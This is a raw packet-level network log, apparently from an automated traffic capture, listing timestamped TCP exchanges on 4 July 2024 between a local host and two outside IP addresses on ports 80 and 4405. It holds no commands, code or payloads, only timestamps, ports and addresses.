                                                              Jul 4, 2024 11:16:11.311153889 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311165094 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311181068 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311192036 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311232090 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.311283112 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.311551094 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311599016 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311610937 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311614990 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.311647892 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.311656952 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311669111 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.311696053 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.312427044 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.312486887 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.312498093 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.312514067 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.312530994 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.312551975 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.401051044 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.430821896 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.430860043 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.430875063 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.430900097 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.430916071 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.430931091 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431071997 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.431071997 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.431308031 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431325912 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431339979 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431356907 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431360006 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.431374073 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431391001 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.431391001 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.431417942 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.432193995 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.432224035 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.432240963 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.432250977 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.432279110 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.432312012 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.432329893 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.432348967 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.432367086 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.433092117 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.433110952 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.433129072 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.433142900 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.433173895 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.550400972 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550417900 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550431013 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550448895 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550478935 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.550535917 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.550760031 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550786018 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550801039 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550832033 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.550925016 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.550971985 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.550993919 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.551007032 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.551040888 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.551074028 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.551085949 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.551096916 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.551121950 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.552001953 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552012920 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552022934 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552048922 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.552063942 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.552424908 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552442074 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552452087 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552489042 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.552934885 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552946091 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552957058 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.552987099 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.553030014 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.553033113 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.553042889 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.553052902 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.553072929 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.592884064 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.645801067 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670011997 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670032024 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670042992 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670068026 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.670120955 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670121908 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.670134068 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670181990 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.670264006 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670279980 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670289993 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670311928 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.670361996 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670378923 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670387983 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670399904 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670404911 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.670420885 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.670434952 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.670473099 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.671176910 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.671195984 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.671206951 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.671217918 CEST8049718176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.671247005 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.671276093 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.877506018 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.882530928 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:11.882616997 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:11.891765118 CEST4971880192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:12.499495029 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:12.510767937 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:12.517179012 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:12.728936911 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:12.730982065 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:12.735985994 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:12.947436094 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:12.999200106 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:13.083233118 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:13.124193907 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:13.146750927 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:13.151582956 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:13.365688086 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:13.370852947 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:13.375683069 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:13.375777960 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:13.420986891 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:13.906992912 CEST4971380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:13.907202959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:13.912468910 CEST804971385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:13.912528038 CEST4971380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:13.912529945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:13.912597895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:13.912669897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:13.917479992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:13.999455929 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.001370907 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:14.006999016 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.220498085 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.221905947 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:14.222558975 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:14.223015070 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:14.223417044 CEST497204405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:14.226728916 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.227387905 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.228010893 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.228460073 CEST440549720176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:14.535664082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535702944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535713911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535727024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535787106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535798073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535809040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535820961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535850048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535849094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.535861969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.535964012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.535964966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.542366982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.542388916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.542398930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.542480946 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.627629042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627650023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627703905 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.627773046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627785921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627798080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627851963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.627872944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627892017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627903938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627914906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627933025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.627938032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.627954960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.627970934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.628664970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.628675938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.628691912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.628717899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.628812075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.628827095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.628854990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.629671097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.629688025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.629699945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.629712105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.629724026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.629728079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.629746914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.629767895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.630984068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.630995035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.631006956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.631027937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.634850979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.634907961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717725992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717737913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717750072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717761040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717772961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717783928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717812061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717812061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717858076 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717871904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717890024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717901945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717911959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717924118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717933893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717935085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717952967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717963934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717963934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717978954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.717979908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.717989922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718005896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718008041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.718018055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718029976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718034029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.718053102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.718780994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718791962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718803883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718816042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718826056 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.718827009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.718849897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.718879938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.719253063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719264984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719275951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719286919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719297886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719312906 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.719336987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.719798088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719847918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.719969988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719980955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.719991922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.720001936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.720012903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.720016956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.720026016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.720032930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.720066071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.720146894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.721062899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.721082926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.721126080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.785065889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.785089016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.785104990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.785151005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.785156965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.785167933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.785180092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.785228968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.805067062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805105925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805124998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805135012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805146933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805174112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.805176020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805212021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.805226088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.805541039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805552959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805566072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805579901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805591106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805608034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.805639982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.805941105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805959940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.805973053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806001902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806015015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806066990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806080103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806091070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806122065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806560993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806574106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806583881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806602001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806622028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806679964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806691885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806708097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806720018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806740999 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806767941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.806785107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806796074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.806843996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.807542086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807553053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807564020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807593107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.807663918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807676077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807687998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807698965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807708979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.807718039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807719946 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.807746887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.807779074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.808305025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.808342934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.808356047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.808367968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.808417082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:14.808449030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.808460951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:14.808471918 CEST804972385.28.47.8192.168.2.6
